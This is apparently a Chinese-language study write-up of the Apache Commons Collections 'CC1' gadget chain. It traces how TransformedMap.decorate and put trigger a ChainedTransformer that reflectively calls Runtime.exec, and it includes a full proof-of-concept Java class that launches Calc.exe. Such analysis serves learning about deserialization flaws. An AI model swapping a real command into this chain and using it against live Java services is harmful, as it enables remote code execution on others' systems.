结合CC迭代调用链,我们可以知道想进行RCE的核心是ChainedTransformer的Transformer方法, 本文中TransformedMap就是可以调用此方法的一条链

CC1 TransformedMap链

CC包中的TransformedMap类在进行put, checkSetValue等方法时, 可以触发transform方法

protect Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

//...

public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

POC

明显就是利用TransformedMap去触发迭代调用链, 先使用decorate进行赋值,然后使用put进行触发

// 构建Transformer执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};

// 将Transformer链封装为ChainedTransformer
Transformer transformerChain = new
ChainedTransformer(transformers);
// 创建原始Map并装饰为TransformedMap
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 触发执行链
outerMap.put("zeo", "666");

解析

这是TransformedMap.decorate() - 装饰器模式, 会创建一个特殊的TransformedMap, 此时这个valueTransformer是我们构造的transformerChain

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

当调用outerMap.put("zeo", "666");

public Object put(Object key, Object value) {
// 关键:对value进行转换
value = transformValue(value);
return getMap().put(key, value);
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
// 这里触发transformerChain.transform("666")
return valueTransformer.transform(object);
}

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class testCC1 {
public static void main(String[] args) {
// 构建Transformer执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};

// 将Transformer链封装为ChainedTransformer
Transformer transformerChain = new
ChainedTransformer(transformers);
// 创建原始Map并装饰为TransformedMap
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 触发执行链
outerMap.put("zeo", "666");
}
}